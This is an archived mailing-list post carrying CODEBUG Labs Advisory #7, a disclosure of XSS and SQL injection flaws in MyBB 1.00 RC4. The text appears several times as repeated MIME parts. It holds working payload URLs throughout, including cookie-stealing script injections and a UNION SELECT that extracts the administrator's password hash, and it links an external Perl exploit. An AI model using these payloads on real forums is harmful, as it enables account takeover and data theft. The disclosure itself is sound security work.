Alberto Trivero
31/05/05, 23:05
This is a multi-part message in MIME format.
------=_NextPart_000_0025_01C56630.D0C98BE0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
************************************************** ********************
* CODEBUG Labs
* Advisory #7
* Title: Multiple vulnerabilities in MyBulletinBoard (MyBB) 1.00 RC4
* Author: Alberto Trivero
* English Version: Alberto Trivero
* Product: MyBulletinBoard 1.00 RC4
* Type: Multiple Vulnerabilities
* Web: http://www.codebug.org/
************************************************** ********************
--) Software Page (www.mybboard.com)
"MyBB is a powerful, efficient and free forum package developed in PHP and
MySQL. MyBB has been designed with the end users in mind, you and your
subscribers. Full control over your discussion system is presented right at
the tip of your fingers, from multiple styles and themes to the ultimate
customisation of your forums using the template system."
--) Cross-Site Scripting (XSS)
Let's look at code from misc.php at line 310:
<?
...
$url = $settings['bburl']."/rss.php";
if(!$all)
{
$url .= "?fid=$syndicate";
$add = 1;
}
if($version != "rss")
{
if(!$add)
{
$url .= "?";
}
else
{
$url .= "&";
}
$url .= "type=$version";
$add = 1;
}
if($limit)
{
if($limit > 100)
{
$limit = 100;
}
if(!$add)
{
$url .= "?";
}
else
{
$url .= "&";
}
$url .= "limit=$limit";
}
...
?>
This piece of code has the task of complete the $url variable that will
print as is in the result page. All the variables that compose the URL
($syndicate (note line 305: $syndicate.= $comma.$fid), $version, $limit) can
be controlled by a remote user and when MyBB take the value doesn't sanitise
properly it. So it's possible to perform a Cross-Site Scripting attack by
sending some requests like these (one for every variable):
http://www.example.com/mybb/misc.php?action=syndication&forums[0]=%3Cscript%
3Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/misc.php?action=syndication&forums[0]=0&version=
%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/misc.php?action=syndication&limit=%22%3E%3Cscrip
t%3Ealert(document.cookie)%3C/script%3E
Unfortunately for this board, there are many others parameters that doesn't
check properly if someone inject some HTML maliciuos code, or other:
http://www.example.com/mybb/forumdisplay.php?fid=1&datecut=%22%3E%3Cscript%3
Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/forumdisplay.php?fid=2&page=%22%3E%3Cscript%3Eal
ert(document.cookie)%3C/script%3E
http://www.example.com/mybb/member.php?agree=I+Agree&username=%22%3Cscript%3
Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/member.php?agree=I+Agree&email=%22%3Cscript%3Eal
ert(document.cookie)%3C/script%3E
http://www.example.com/mybb/member.php?agree=I+Agree&email2=%22%3Cscript%3Ea
lert(document.cookie)%3C/script%3E
http://www.example.com/mybb/memberlist.php?page=%22%3E%3Cscript%3Ealert(docu
ment.cookie)%3C/script%3E
http://www.example.com/mybb/memberlist.php?usersearch=%22%3E%3Cscript%3Ealer
t(document.cookie)%3C/script%3E
http://www.example.com/mybb/showthread.php?mode=linear&tid=1&pid=%22%3E%3Csc
ript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/showthread.php?mode=linear&tid=1%22%3E%3Cscript%
3Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/printthread.php?tid=1%3Cscript%3Ealert(document.
cookie)%3C/script%3E
--) SQL Injection
Let's look at code from calendar.php at line 54:
<?
...
if($action == "event")
{
$query = $db->query("SELECT e.*, u.username, g.namestyle FROM
".TABLE_PREFIX."events e LEFT JOIN ".TABLE_PREFIX."users u ON
(e.author=u.uid) LEFT JOIN ".TABLE_PREFIX."usergroups g ON
(u.usergroup=g.gid) WHERE e.eid='$eid'");
...
?>
What we are seeing is a query to the SQL DB for create the result page with
the correct data from the calendar. The problem occurs becouse the $eid
parameter in the WHERE clause is put in the SQL query with any sanitisation
before, so a malicious user will be able to do an SQL injecion attack to the
database for obtain what he want.
This is a proof of concept exploit that it's able to show the MD5 hash of
the password of the board's administrator:
http://www.example.com/mybb/calendar.php?action=event&eid='%20UNION%20SELECT
%20uid,uid,null,null,null,null,password,null%20FRO M%20mybb_users/*
Unfortunately (or fortunately, by the point of view) this PoC doesn't work
on all the versions and configurations of MySQL Database.
For automate the explotation process I've made with FAiN182 a Perl exploit
here available: http://albythebest.altervista.org/mybb.pl
As for the XSS attack before, also for the SQL injection attack, there are
many vulnerables parameters. These are the most important:
http://www.example.com/mybb/online.php?pidsql=)[sql_query]
http://www.example.com/mybb/memberlist.php?usersearch=%'[sql_query]
http://www.example.com/mybb/editpost.php?pid='[sql_query]
http://www.example.com/mybb/forumdisplay.php?fid='[sql_query]
http://www.example.com/mybb/newreply.php?tid='[sql_query]
http://www.example.com/mybb/search.php?action=results&sid='[sql_query]
http://www.example.com/mybb/showthread.php?tid='[sql_query]
http://www.example.com/mybb/showthread.php?pid='[sql_query]
http://www.example.com/mybb/usercp2.php?tid='[sql_query]
http://www.example.com/mybb/printthread.php?tid='[sql_query]
http://www.example.com/mybb/reputation.php?pid='[sql_query]
http://www.example.com/mybb/portal.php?action=do_login&username='[sql_query]
http://www.example.com/mybb/polls.php?action=newpoll&tid='[sql_query]
http://www.example.com/mybb/ratethread.php?tid='[sql_query]
--) Patch
Thanks to Chris Boulton, main developer on MyBB, for the release of the
patchs, availables at this address:
http://www.mybboard.com/community/showthread.php?tid=2559
************************************************** ********************
* http://www.codebug.org/
************************************************** ********************
------=_NextPart_000_0025_01C56630.D0C98BE0
Content-Type: text/plain;
name="codebug-7.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="codebug-7.txt"
************************************************** ********************
* CODEBUG Labs
* Advisory #7
* Title: Multiple vulnerabilities in MyBulletinBoard (MyBB) 1.00 RC4
* Author: Alberto Trivero
* English Version: Alberto Trivero
* Product: MyBulletinBoard 1.00 RC4
* Type: Multiple Vulnerabilities
* Web: http://www.codebug.org/
************************************************** ********************
--) Software Page (www.mybboard.com)
"MyBB is a powerful, efficient and free forum package developed in PHP =
and MySQL. MyBB has
been designed with the end users in mind, you and your subscribers. Full =
control over your
discussion system is presented right at the tip of your fingers, from =
multiple styles and
themes to the ultimate customisation of your forums using the template =
system."
--) Cross-Site Scripting (XSS)
Let's look at code from misc.php at line 310:
<?
...
$url =3D $settings['bburl']."/rss.php";
if(!$all)
{
$url .=3D "?fid=3D$syndicate";
$add =3D 1;
}
if($version !=3D "rss")
{
if(!$add)
{
$url .=3D "?";
}
else
{
$url .=3D "&";
}
$url .=3D "type=3D$version";
$add =3D 1;
}
if($limit)
{
if($limit > 100)
{
$limit =3D 100;
}
if(!$add)
{
$url .=3D "?";
}
else
{
$url .=3D "&";
}
$url .=3D "limit=3D$limit";
}
...
?>
This piece of code has the task of complete the $url variable that will =
print as is in the
result page. All the variables that compose the URL ($syndicate (note =
line 305: $syndicate
..=3D $comma.$fid), $version, $limit) can be controlled by a remote user =
and when MyBB take
the value doesn't sanitise properly it. So it's possible to perform a =
Cross-Site Scripting
attack by sending some requests like these (one for every variable):
=
http://www.example.com/mybb/misc.php?action=3Dsyndication&forums[0]=3D%3C=
script%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/misc.php?action=3Dsyndication&forums[0]=3D0&v=
ersion=3D%3Cscript%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/misc.php?action=3Dsyndication&limit=3D%22%3E%=
3Cscript%3Ealert(document.cookie)%3C/script%3E
Unfortunately for this board, there are many others parameters that =
doesn't check properly
if someone inject some HTML maliciuos code, or other:
=
http://www.example.com/mybb/forumdisplay.php?fid=3D1&datecut=3D%22%3E%3Cs=
cript%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/forumdisplay.php?fid=3D2&page=3D%22%3E%3Cscri=
pt%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/member.php?agree=3DI+Agree&username=3D%22%3Cs=
cript%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/member.php?agree=3DI+Agree&email=3D%22%3Cscri=
pt%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/member.php?agree=3DI+Agree&email2=3D%22%3Cscr=
ipt%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/memberlist.php?page=3D%22%3E%3Cscript%3Ealert=
(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/memberlist.php?usersearch=3D%22%3E%3Cscript%3=
Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/showthread.php?mode=3Dlinear&tid=3D1&pid=3D%2=
2%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/showthread.php?mode=3Dlinear&tid=3D1%22%3E%3C=
script%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/printthread.php?tid=3D1%3Cscript%3Ealert(docu=
ment.cookie)%3C/script%3E
--) SQL Injection
Let's look at code from calendar.php at line 54:
<?
...
if($action =3D=3D "event")
{
$query =3D $db->query("SELECT e.*, u.username, g.namestyle FROM =
".TABLE_PREFIX."events e LEFT JOIN ".TABLE_PREFIX."users u ON =
(e.author=3Du.uid) LEFT JOIN ".TABLE_PREFIX."usergroups g ON =
(u.usergroup=3Dg.gid) WHERE e.eid=3D'$eid'");
...
?>
What we are seeing is a query to the SQL DB for create the result page =
with the correct
data from the calendar. The problem occurs becouse the $eid parameter in =
the WHERE clause
is put in the SQL query with any sanitisation before, so a malicious =
user will be able to
do an SQL injecion attack to the database for obtain what he want.
This is a proof of concept exploit that it's able to show the MD5 hash =
of the password of
the board's administrator:
=
http://www.example.com/mybb/calendar.php?action=3Devent&eid=3D'%20UNION%2=
0SELECT%20uid,uid,null,null,null,null,password,nul l%20FROM%20mybb_users/*=
Unfortunately (or fortunately, by the point of view) this PoC doesn't =
work on all the
versions and configurations of MySQL Database.
For automate the explotation process I've made with FAiN182 a Perl =
exploit here
available:=20
As for the XSS attack before, also for the SQL injection attack, there =
are many=20
vulnerables parameters. These are the most important:
http://www.example.com/mybb/online.php?pidsql=3D)[sql_query]
=
http://www.example.com/mybb/memberlist.php?usersearch=3D%'[sql_query]
http://www.example.com/mybb/editpost.php?pid=3D'[sql_query]
http://www.example.com/mybb/forumdisplay.php?fid=3D'[sql_query]
http://www.example.com/mybb/newreply.php?tid=3D'[sql_query]
=
http://www.example.com/mybb/search.php?action=3Dresults&sid=3D'[sql_query=
]
http://www.example.com/mybb/showthread.php?tid=3D'[sql_query]
http://www.example.com/mybb/showthread.php?pid=3D'[sql_query]
http://www.example.com/mybb/usercp2.php?tid=3D'[sql_query]
http://www.example.com/mybb/printthread.php?tid=3D'[sql_query]
http://www.example.com/mybb/reputation.php?pid=3D'[sql_query]
=
http://www.example.com/mybb/portal.php?action=3Ddo_login&username=3D'[sql=
_query]
=
http://www.example.com/mybb/polls.php?action=3Dnewpoll&tid=3D'[sql_query]=
http://www.example.com/mybb/ratethread.php?tid=3D'[sql_query]
--) Patch
Thanks to Chris Boulton, main developer on MyBB, for the release of the =
patchs,
availables at this address: =
http://www.mybboard.com/community/showthread.php?tid=3D2559
************************************************** ********************
* http://www.codebug.org/
************************************************** ********************
------=_NextPart_000_0025_01C56630.D0C98BE0--
------=_NextPart_000_0025_01C56630.D0C98BE0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
************************************************** ********************
* CODEBUG Labs
* Advisory #7
* Title: Multiple vulnerabilities in MyBulletinBoard (MyBB) 1.00 RC4
* Author: Alberto Trivero
* English Version: Alberto Trivero
* Product: MyBulletinBoard 1.00 RC4
* Type: Multiple Vulnerabilities
* Web: http://www.codebug.org/
************************************************** ********************
--) Software Page (www.mybboard.com)
"MyBB is a powerful, efficient and free forum package developed in PHP and
MySQL. MyBB has been designed with the end users in mind, you and your
subscribers. Full control over your discussion system is presented right at
the tip of your fingers, from multiple styles and themes to the ultimate
customisation of your forums using the template system."
--) Cross-Site Scripting (XSS)
Let's look at code from misc.php at line 310:
<?
...
$url = $settings['bburl']."/rss.php";
if(!$all)
{
$url .= "?fid=$syndicate";
$add = 1;
}
if($version != "rss")
{
if(!$add)
{
$url .= "?";
}
else
{
$url .= "&";
}
$url .= "type=$version";
$add = 1;
}
if($limit)
{
if($limit > 100)
{
$limit = 100;
}
if(!$add)
{
$url .= "?";
}
else
{
$url .= "&";
}
$url .= "limit=$limit";
}
...
?>
This piece of code has the task of complete the $url variable that will
print as is in the result page. All the variables that compose the URL
($syndicate (note line 305: $syndicate.= $comma.$fid), $version, $limit) can
be controlled by a remote user and when MyBB take the value doesn't sanitise
properly it. So it's possible to perform a Cross-Site Scripting attack by
sending some requests like these (one for every variable):
http://www.example.com/mybb/misc.php?action=syndication&forums[0]=%3Cscript%
3Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/misc.php?action=syndication&forums[0]=0&version=
%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/misc.php?action=syndication&limit=%22%3E%3Cscrip
t%3Ealert(document.cookie)%3C/script%3E
Unfortunately for this board, there are many others parameters that doesn't
check properly if someone inject some HTML maliciuos code, or other:
http://www.example.com/mybb/forumdisplay.php?fid=1&datecut=%22%3E%3Cscript%3
Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/forumdisplay.php?fid=2&page=%22%3E%3Cscript%3Eal
ert(document.cookie)%3C/script%3E
http://www.example.com/mybb/member.php?agree=I+Agree&username=%22%3Cscript%3
Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/member.php?agree=I+Agree&email=%22%3Cscript%3Eal
ert(document.cookie)%3C/script%3E
http://www.example.com/mybb/member.php?agree=I+Agree&email2=%22%3Cscript%3Ea
lert(document.cookie)%3C/script%3E
http://www.example.com/mybb/memberlist.php?page=%22%3E%3Cscript%3Ealert(docu
ment.cookie)%3C/script%3E
http://www.example.com/mybb/memberlist.php?usersearch=%22%3E%3Cscript%3Ealer
t(document.cookie)%3C/script%3E
http://www.example.com/mybb/showthread.php?mode=linear&tid=1&pid=%22%3E%3Csc
ript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/showthread.php?mode=linear&tid=1%22%3E%3Cscript%
3Ealert(document.cookie)%3C/script%3E
http://www.example.com/mybb/printthread.php?tid=1%3Cscript%3Ealert(document.
cookie)%3C/script%3E
--) SQL Injection
Let's look at code from calendar.php at line 54:
<?
...
if($action == "event")
{
$query = $db->query("SELECT e.*, u.username, g.namestyle FROM
".TABLE_PREFIX."events e LEFT JOIN ".TABLE_PREFIX."users u ON
(e.author=u.uid) LEFT JOIN ".TABLE_PREFIX."usergroups g ON
(u.usergroup=g.gid) WHERE e.eid='$eid'");
...
?>
What we are seeing is a query to the SQL DB for create the result page with
the correct data from the calendar. The problem occurs becouse the $eid
parameter in the WHERE clause is put in the SQL query with any sanitisation
before, so a malicious user will be able to do an SQL injecion attack to the
database for obtain what he want.
This is a proof of concept exploit that it's able to show the MD5 hash of
the password of the board's administrator:
http://www.example.com/mybb/calendar.php?action=event&eid='%20UNION%20SELECT
%20uid,uid,null,null,null,null,password,null%20FRO M%20mybb_users/*
Unfortunately (or fortunately, by the point of view) this PoC doesn't work
on all the versions and configurations of MySQL Database.
For automate the explotation process I've made with FAiN182 a Perl exploit
here available: http://albythebest.altervista.org/mybb.pl
As for the XSS attack before, also for the SQL injection attack, there are
many vulnerables parameters. These are the most important:
http://www.example.com/mybb/online.php?pidsql=)[sql_query]
http://www.example.com/mybb/memberlist.php?usersearch=%'[sql_query]
http://www.example.com/mybb/editpost.php?pid='[sql_query]
http://www.example.com/mybb/forumdisplay.php?fid='[sql_query]
http://www.example.com/mybb/newreply.php?tid='[sql_query]
http://www.example.com/mybb/search.php?action=results&sid='[sql_query]
http://www.example.com/mybb/showthread.php?tid='[sql_query]
http://www.example.com/mybb/showthread.php?pid='[sql_query]
http://www.example.com/mybb/usercp2.php?tid='[sql_query]
http://www.example.com/mybb/printthread.php?tid='[sql_query]
http://www.example.com/mybb/reputation.php?pid='[sql_query]
http://www.example.com/mybb/portal.php?action=do_login&username='[sql_query]
http://www.example.com/mybb/polls.php?action=newpoll&tid='[sql_query]
http://www.example.com/mybb/ratethread.php?tid='[sql_query]
--) Patch
Thanks to Chris Boulton, main developer on MyBB, for the release of the
patchs, availables at this address:
http://www.mybboard.com/community/showthread.php?tid=2559
************************************************** ********************
* http://www.codebug.org/
************************************************** ********************
------=_NextPart_000_0025_01C56630.D0C98BE0
Content-Type: text/plain;
name="codebug-7.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="codebug-7.txt"
************************************************** ********************
* CODEBUG Labs
* Advisory #7
* Title: Multiple vulnerabilities in MyBulletinBoard (MyBB) 1.00 RC4
* Author: Alberto Trivero
* English Version: Alberto Trivero
* Product: MyBulletinBoard 1.00 RC4
* Type: Multiple Vulnerabilities
* Web: http://www.codebug.org/
************************************************** ********************
--) Software Page (www.mybboard.com)
"MyBB is a powerful, efficient and free forum package developed in PHP =
and MySQL. MyBB has
been designed with the end users in mind, you and your subscribers. Full =
control over your
discussion system is presented right at the tip of your fingers, from =
multiple styles and
themes to the ultimate customisation of your forums using the template =
system."
--) Cross-Site Scripting (XSS)
Let's look at code from misc.php at line 310:
<?
...
$url =3D $settings['bburl']."/rss.php";
if(!$all)
{
$url .=3D "?fid=3D$syndicate";
$add =3D 1;
}
if($version !=3D "rss")
{
if(!$add)
{
$url .=3D "?";
}
else
{
$url .=3D "&";
}
$url .=3D "type=3D$version";
$add =3D 1;
}
if($limit)
{
if($limit > 100)
{
$limit =3D 100;
}
if(!$add)
{
$url .=3D "?";
}
else
{
$url .=3D "&";
}
$url .=3D "limit=3D$limit";
}
...
?>
This piece of code has the task of complete the $url variable that will =
print as is in the
result page. All the variables that compose the URL ($syndicate (note =
line 305: $syndicate
..=3D $comma.$fid), $version, $limit) can be controlled by a remote user =
and when MyBB take
the value doesn't sanitise properly it. So it's possible to perform a =
Cross-Site Scripting
attack by sending some requests like these (one for every variable):
=
http://www.example.com/mybb/misc.php?action=3Dsyndication&forums[0]=3D%3C=
script%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/misc.php?action=3Dsyndication&forums[0]=3D0&v=
ersion=3D%3Cscript%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/misc.php?action=3Dsyndication&limit=3D%22%3E%=
3Cscript%3Ealert(document.cookie)%3C/script%3E
Unfortunately for this board, there are many others parameters that =
doesn't check properly
if someone inject some HTML maliciuos code, or other:
=
http://www.example.com/mybb/forumdisplay.php?fid=3D1&datecut=3D%22%3E%3Cs=
cript%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/forumdisplay.php?fid=3D2&page=3D%22%3E%3Cscri=
pt%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/member.php?agree=3DI+Agree&username=3D%22%3Cs=
cript%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/member.php?agree=3DI+Agree&email=3D%22%3Cscri=
pt%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/member.php?agree=3DI+Agree&email2=3D%22%3Cscr=
ipt%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/memberlist.php?page=3D%22%3E%3Cscript%3Ealert=
(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/memberlist.php?usersearch=3D%22%3E%3Cscript%3=
Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/showthread.php?mode=3Dlinear&tid=3D1&pid=3D%2=
2%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/showthread.php?mode=3Dlinear&tid=3D1%22%3E%3C=
script%3Ealert(document.cookie)%3C/script%3E
=
http://www.example.com/mybb/printthread.php?tid=3D1%3Cscript%3Ealert(docu=
ment.cookie)%3C/script%3E
--) SQL Injection
Let's look at code from calendar.php at line 54:
<?
...
if($action =3D=3D "event")
{
$query =3D $db->query("SELECT e.*, u.username, g.namestyle FROM =
".TABLE_PREFIX."events e LEFT JOIN ".TABLE_PREFIX."users u ON =
(e.author=3Du.uid) LEFT JOIN ".TABLE_PREFIX."usergroups g ON =
(u.usergroup=3Dg.gid) WHERE e.eid=3D'$eid'");
...
?>
What we are seeing is a query to the SQL DB for create the result page =
with the correct
data from the calendar. The problem occurs becouse the $eid parameter in =
the WHERE clause
is put in the SQL query with any sanitisation before, so a malicious =
user will be able to
do an SQL injecion attack to the database for obtain what he want.
This is a proof of concept exploit that it's able to show the MD5 hash =
of the password of
the board's administrator:
=
http://www.example.com/mybb/calendar.php?action=3Devent&eid=3D'%20UNION%2=
0SELECT%20uid,uid,null,null,null,null,password,nul l%20FROM%20mybb_users/*=
Unfortunately (or fortunately, by the point of view) this PoC doesn't =
work on all the
versions and configurations of MySQL Database.
For automate the explotation process I've made with FAiN182 a Perl =
exploit here
available:=20
As for the XSS attack before, also for the SQL injection attack, there =
are many=20
vulnerables parameters. These are the most important:
http://www.example.com/mybb/online.php?pidsql=3D)[sql_query]
=
http://www.example.com/mybb/memberlist.php?usersearch=3D%'[sql_query]
http://www.example.com/mybb/editpost.php?pid=3D'[sql_query]
http://www.example.com/mybb/forumdisplay.php?fid=3D'[sql_query]
http://www.example.com/mybb/newreply.php?tid=3D'[sql_query]
=
http://www.example.com/mybb/search.php?action=3Dresults&sid=3D'[sql_query=
]
http://www.example.com/mybb/showthread.php?tid=3D'[sql_query]
http://www.example.com/mybb/showthread.php?pid=3D'[sql_query]
http://www.example.com/mybb/usercp2.php?tid=3D'[sql_query]
http://www.example.com/mybb/printthread.php?tid=3D'[sql_query]
http://www.example.com/mybb/reputation.php?pid=3D'[sql_query]
=
http://www.example.com/mybb/portal.php?action=3Ddo_login&username=3D'[sql=
_query]
=
http://www.example.com/mybb/polls.php?action=3Dnewpoll&tid=3D'[sql_query]=
http://www.example.com/mybb/ratethread.php?tid=3D'[sql_query]
--) Patch
Thanks to Chris Boulton, main developer on MyBB, for the release of the =
patchs,
availables at this address: =
http://www.mybboard.com/community/showthread.php?tid=3D2559
************************************************** ********************
* http://www.codebug.org/
************************************************** ********************
------=_NextPart_000_0025_01C56630.D0C98BE0--